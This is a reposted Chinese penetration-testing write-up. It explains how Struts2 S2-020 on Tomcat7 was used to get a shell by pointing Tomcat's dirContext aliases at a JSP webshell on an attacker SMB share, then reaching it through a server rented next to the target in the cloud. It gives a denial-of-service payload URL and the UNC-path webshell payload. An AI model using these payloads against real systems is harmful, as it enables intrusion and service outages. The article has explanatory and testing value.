溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

在云環(huán)境下Tomcat7存在Struts2-020是如何Getshell的

發(fā)布時(shí)間:2021-12-23 10:03:56 來源:億速云 閱讀:205 作者:柒染 欄目:安全技術(shù)

這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)碛嘘P(guān)在云環(huán)境下Tomcat7存在Struts2-020是如何Getshell的,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

在一次給某甲方做模擬攻擊中發(fā)現(xiàn)某網(wǎng)站存在Struts2-020,但是中間件是tomcat7不能直接getshell。

一、Struts2-020漏洞原理

Object是java的基礎(chǔ)類,所有的class生成的對(duì)象,都會(huì)繼承Object的所有屬性和方法,因此當(dāng)前action無論是什么代碼,必須有Object自帶的getClass方法,這個(gè)方法會(huì)返回一個(gè)Class對(duì)象,Class對(duì)象又一定會(huì)有g(shù)etClassLoader方法,最終在每個(gè)action都可以操控class。Struts2-020允許訪問直接映射到“getClass()”方法的“class”參數(shù) ,這可以被利用來操縱所使用的應(yīng)用程序服務(wù)器的ClassLoader。簡而言之就是可以通過ClassLoader操控Tomcat的一些配置屬性,這個(gè)漏洞在Tomcat8下是可以getshell的。如下圖為tomcat8部分可控屬性。

在云環(huán)境下Tomcat7存在Struts2-020是如何Getshell的

Tomcat8如何getshell在網(wǎng)上一大堆這里就不演示了,大概步驟如下

1.更改Tomcat log為可執(zhí)行文件,更改log文件名,更改日志路徑至web目錄下

2.初始化日志文件

3.通過URL訪問,在日志中寫入一句話

4.菜刀連接一句話成功getshell

二、Tomcat7如何getshell?

一開始以為struts2-010在tomcat下都能getshell,瘋狂操作下一直失敗,百度后才知道tomcat7無法操控日志屬性。只能重定向web目錄造成拒絕服務(wù)攻擊。

拒絕服務(wù)攻擊:

http://127.0.0.1/s/example/HelloWorld.action?class.classLoader.resources.dirContext.docBase=”亂填就好”

但是只挖到一個(gè)拒絕服務(wù)攻擊無法向甲方交差呀,甲方交不了差,老板就不高興,老板不高興,我的績效考核危矣。拒絕服務(wù)攻擊更是不敢打,上次模擬攻擊把甲方服務(wù)打癱了,最后一個(gè)外包也離我而去了,難頂還是得頂。

2.1本地枯燥調(diào)試

無奈之下只能在本地搭建環(huán)境把所有可操控的屬性枚舉出來。

在云環(huán)境下Tomcat7存在Struts2-020是如何Getshell的

把一個(gè)個(gè)屬性試過去,看是否能利用的,挨個(gè)簡單更改屬性值后通過日志和變化來判斷,發(fā)現(xiàn)并不能getshell,當(dāng)我正要放棄的時(shí)候腦子里飄過一個(gè)紅色的身影,親切地對(duì)我說沒有攻不破的系統(tǒng),只有不努力的黑客。瞬間斗志滿滿?。?!

2.2谷歌大法好

谷歌作為技術(shù)人員的好朋友,碰到技術(shù)問題谷歌就對(duì)了,一頓搜索之后在一篇老毛子寫的文章中寫到class.classLoader.parent.resources.dirContext.aliases不僅僅可以任意文件讀取,文件路徑是支持UNC path的即smb路徑。這時(shí)候我就想既然支持SMB路徑,搞個(gè)文件共享時(shí)候能執(zhí)行命令?只要把文件共享設(shè)置為eve任何人可以訪問就可以讓網(wǎng)站讀取到可執(zhí)行文件,指不定就能執(zhí)行了?。。?/p>

2.3本地搭建SMB服務(wù)并測試

搭建過程操作不難,在文件共享中放入一句話木馬,再把網(wǎng)站的別名路徑映射到SMB服務(wù)器。

Payload:

http://127.0.0.1:8080/struts2-blank/hello.action? class.classLoader.parent.resources.dirContext.aliases=\\192.168.1.1\muma.jsp

菜刀一連成功連接:

在云環(huán)境下Tomcat7存在Struts2-020是如何Getshell的

三、云環(huán)境測試

因?yàn)槟繕?biāo)是在云環(huán)境上,眾所周知云環(huán)境大部分都是不對(duì)外開放445端口的。但是通過信息收集發(fā)現(xiàn)所在目標(biāo)是在一個(gè)野雞云環(huán)境上,因?yàn)橹敖佑|過幾家野雞云服務(wù)器廠商,他們C段的445端口是互通的。我就在想這家廠商是否也存在這樣的配置漏洞?

3.1金錢的力量

本來想在C段擼下一臺(tái)服務(wù)器作為SMB服務(wù)器的,但是作為正義的白帽子怎么能做此等齷齪的事?只能把方案提出來,提交到上級(jí)申請(qǐng)經(jīng)費(fèi)。最后以目標(biāo)IP旁邊的某個(gè)IP數(shù)字吉利為由,通過客服以1.5倍的價(jià)格買下了目標(biāo)相鄰的服務(wù)器,最終發(fā)現(xiàn)的確存在配置不當(dāng)。C段的445端口可以相互訪問從而Getshell成功。

網(wǎng)站滲透很少有一個(gè)POC或者EXP直接打穿的,遇到難題多思考,多搜索。

上述就是小編為大家分享的在云環(huán)境下Tomcat7存在Struts2-020是如何Getshell的了,如果剛好有類似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請(qǐng)聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI